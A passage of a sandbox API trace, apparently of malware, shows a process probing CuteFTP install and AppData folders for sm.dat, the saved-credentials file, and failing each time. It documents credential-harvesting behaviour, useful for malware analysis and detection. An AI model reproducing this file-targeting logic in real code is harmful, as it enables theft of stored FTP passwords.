returned 57 [0047.347] lstrlenA (lpString="\\*.*") returned 4 [0047.347] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a738 [0047.347] lstrcpyA (in: lpString1=0x74a738, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP" [0047.347] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\*.*" [0047.347] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.347] LocalFree (hMem=0x74a738) returned 0x0 [0047.347] LocalFree (hMem=0x74a670) returned 0x0 [0047.347] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.347] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0047.347] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x74a670 [0047.347] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.347] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" [0047.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned 61 [0047.348] lstrlenA (lpString="\\sm.dat") returned 7 [0047.348] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x745b68 [0047.348] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" [0047.348] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0047.348] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x46 [0047.348] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x74f980 [0047.348] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x74f980, nSize=0x46 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x45 [0047.348] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.348] LocalFree (hMem=0x74f980) returned 0x0 [0047.348] LocalFree (hMem=0x745b68) returned 0x0 [0047.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned 61 [0047.348] lstrlenA (lpString="\\*.*") returned 4 [0047.348] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x745b68 [0047.348] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro" [0047.348] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0047.348] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.348] LocalFree (hMem=0x745b68) returned 0x0 [0047.348] LocalFree (hMem=0x74a670) returned 0x0 [0047.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.348] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0047.348] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x74a670 [0047.348] lstrcpyA (in: lpString1=0x74a670, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.348] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" [0047.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned 62 [0047.348] lstrlenA (lpString="\\sm.dat") returned 7 [0047.348] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x745b68 [0047.348] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" [0047.348] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0047.348] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x47 [0047.348] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x74f980 [0047.348] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x74f980, nSize=0x47 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x46 [0047.348] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.348] LocalFree (hMem=0x74f980) returned 0x0 [0047.348] LocalFree (hMem=0x745b68) returned 0x0 [0047.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned 62 [0047.348] lstrlenA (lpString="\\*.*") returned 4 [0047.348] LocalAlloc (uFlags=0x40, uBytes=0xc3) returned 0x745b68 [0047.348] lstrcpyA (in: lpString1=0x745b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite" [0047.348] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0047.348] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.348] LocalFree (hMem=0x745b68) returned 0x0 [0047.348] LocalFree (hMem=0x74a670) returned 0x0 [0047.348] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned 37 [0047.348] lstrlenA (lpString="\\CuteFTP") returned 8 [0047.348] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7508d8 [0047.348] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local" [0047.349] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local", lpString2="\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" [0047.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned 45 [0047.349] lstrlenA (lpString="\\sm.dat") returned 7 [0047.349] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x756820 [0047.349] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" [0047.349] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat" [0047.349] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x36 [0047.349] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7568e0 [0047.349] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat", lpDst=0x7568e0, nSize=0x36 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat") returned 0x35 [0047.349] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\sm.dat" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\local\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.349] LocalFree (hMem=0x7568e0) returned 0x0 [0047.349] LocalFree (hMem=0x756820) returned 0x0 [0047.349] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned 45 [0047.349] lstrlenA (lpString="\\*.*") returned 4 [0047.349] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x756820 [0047.349] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP" [0047.349] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\*.*" [0047.349] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\CuteFTP\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.349] LocalFree (hMem=0x756820) returned 0x0 [0047.349] LocalFree (hMem=0x7508d8) returned 0x0 [0047.349] LocalFree (hMem=0x7469f0) returned 0x0 [0047.349] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x7469f0 [0047.349] SHGetFolderPathA (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x7469f0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0047.350] lstrlenA (lpString="C:\\Program Files (x86)") returned 22 [0047.350] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP") returned 20 [0047.350] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x7508d8 [0047.350] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0047.350] lstrcatA (in: lpString1="C:\\Program Files (x86)", lpString2="\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" [0047.350] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned 42 [0047.350] lstrlenA (lpString="\\sm.dat") returned 7 [0047.350] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x756820 [0047.350] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" [0047.350] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat" [0047.350] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x33 [0047.350] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x7568e0 [0047.350] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat", lpDst=0x7568e0, nSize=0x33 | out: lpDst="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat") returned 0x32 [0047.350] CreateFileA (lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\sm.dat" (normalized: "c:\\program files (x86)\\globalscape\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.350] LocalFree (hMem=0x7568e0) returned 0x0 [0047.350] LocalFree (hMem=0x756820) returned 0x0 [0047.350] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned 42 [0047.350] lstrlenA (lpString="\\*.*") returned 4 [0047.350] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0047.350] lstrcpyA (in: lpString1=0x750820, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP" [0047.350] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\*.*") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\*.*" [0047.350] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.350] LocalFree (hMem=0x750820) returned 0x0 [0047.350] LocalFree (hMem=0x7508d8) returned 0x0 [0047.350] lstrlenA (lpString="C:\\Program Files (x86)") returned 22 [0047.350] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Pro") returned 24 [0047.350] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x7508d8 [0047.350] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0047.350] lstrcatA (in: lpString1="C:\\Program Files (x86)", lpString2="\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" [0047.350] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned 46 [0047.350] lstrlenA (lpString="\\sm.dat") returned 7 [0047.350] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x756820 [0047.351] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" [0047.351] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" [0047.351] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x37 [0047.351] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x7568e0 [0047.351] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat", lpDst=0x7568e0, nSize=0x37 | out: lpDst="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat") returned 0x36 [0047.351] CreateFileA (lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\sm.dat" (normalized: "c:\\program files (x86)\\globalscape\\cuteftp pro\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.351] LocalFree (hMem=0x7568e0) returned 0x0 [0047.351] LocalFree (hMem=0x756820) returned 0x0 [0047.351] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned 46 [0047.351] lstrlenA (lpString="\\*.*") returned 4 [0047.351] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x756820 [0047.351] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro" [0047.351] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\*.*") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\*.*" [0047.351] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Pro\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.351] LocalFree (hMem=0x756820) returned 0x0 [0047.351] LocalFree (hMem=0x7508d8) returned 0x0 [0047.351] lstrlenA (lpString="C:\\Program Files (x86)") returned 22 [0047.351] lstrlenA (lpString="\\GlobalSCAPE\\CuteFTP Lite") returned 25 [0047.351] LocalAlloc (uFlags=0x40, uBytes=0xb0) returned 0x7508d8 [0047.351] lstrcpyA (in: lpString1=0x7508d8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0047.351] lstrcatA (in: lpString1="C:\\Program Files (x86)", lpString2="\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" [0047.351] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned 47 [0047.351] lstrlenA (lpString="\\sm.dat") returned 7 [0047.351] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x756820 [0047.351] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" [0047.351] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" [0047.351] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x38 [0047.351] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x7568e0 [0047.351] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat", lpDst=0x7568e0, nSize=0x38 | out: lpDst="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat") returned 0x37 [0047.351] CreateFileA (lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\sm.dat" (normalized: "c:\\program files (x86)\\globalscape\\cuteftp lite\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.351] LocalFree (hMem=0x7568e0) returned 0x0 [0047.351] LocalFree (hMem=0x756820) returned 0x0 [0047.351] lstrlenA (lpString="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned 47 [0047.351] lstrlenA (lpString="\\*.*") returned 4 [0047.351] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x756820 [0047.351] lstrcpyA (in: lpString1=0x756820, lpString2="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite" [0047.351] lstrcatA (in: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\*.*") returned="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\*.*" [0047.351] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\GlobalSCAPE\\CuteFTP Lite\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.351] LocalFree (hMem=0x756820) returned 0x0 [0047.351] LocalFree (hMem=0x7508d8) returned 0x0 [0047.351] lstrlenA (lpString="C:\\Program Files (x86)") returned 22 [0047.351] lstrlenA (lpString="\\CuteFTP") returned 8 [0047.351] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x716ef8 [0047.351] lstrcpyA (in: lpString1=0x716ef8, lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0047.351] lstrcatA (in: lpString1="C:\\Program Files (x86)", lpString2="\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\CuteFTP") returned="C:\\Program Files (x86)\\CuteFTP" [0047.351] lstrlenA (lpString="C:\\Program Files (x86)\\CuteFTP") returned 30 [0047.351] lstrlenA (lpString="\\sm.dat") returned 7 [0047.351] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x754820 [0047.352] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Program Files (x86)\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\CuteFTP") returned="C:\\Program Files (x86)\\CuteFTP" [0047.352] lstrcatA (in: lpString1="C:\\Program Files (x86)\\CuteFTP", lpString2="\\sm.dat" | out: lpString1="C:\\Program Files (x86)\\CuteFTP\\sm.dat") returned="C:\\Program Files (x86)\\CuteFTP\\sm.dat" [0047.352] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\CuteFTP\\sm.dat", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x27 [0047.352] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0047.352] ExpandEnvironmentStringsA (in: lpSrc="C:\\Program Files (x86)\\CuteFTP\\sm.dat", lpDst=0x7548d0, nSize=0x27 | out: lpDst="C:\\Program Files (x86)\\CuteFTP\\sm.dat") returned 0x26 [0047.352] CreateFileA (lpFileName="C:\\Program Files (x86)\\CuteFTP\\sm.dat" (normalized: "c:\\program files (x86)\\cuteftp\\sm.dat"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.352] LocalFree (hMem=0x7548d0) returned 0x0 [0047.352] LocalFree (hMem=0x754820) returned 0x0 [0047.352] lstrlenA (lpString="C:\\Program Files (x86)\\CuteFTP") returned 30 [0047.352] lstrlenA (lpString="\\*.*") returned 4 [0047.352] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0047.352] lstrcpyA (in: lpString1=0x754820, lpString2="C:\\Program Files (x86)\\CuteFTP" | out: lpString1="C:\\Program Files (x86)\\CuteFTP") returned="C:\\Program Files (x86)\\CuteFTP" [0047.352] lstrcatA (in: lpString1="C:\\Program Files (x86)\\CuteFTP", lpString2="\\*.*" | out: lpString1="C:\\Program Files (x86)\\CuteFTP\\*.*") returned="C:\\Program Files (x86)\\CuteFTP\\*.*" [0047.352] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\CuteFTP\\*.*", lpFindFileData=0xefc04 | out: lpFindFileData=0xefc04) returned 0xffffffff [0047.352] LocalFree (hMem=0x754820) returned 0x0 [0047.352] LocalFree 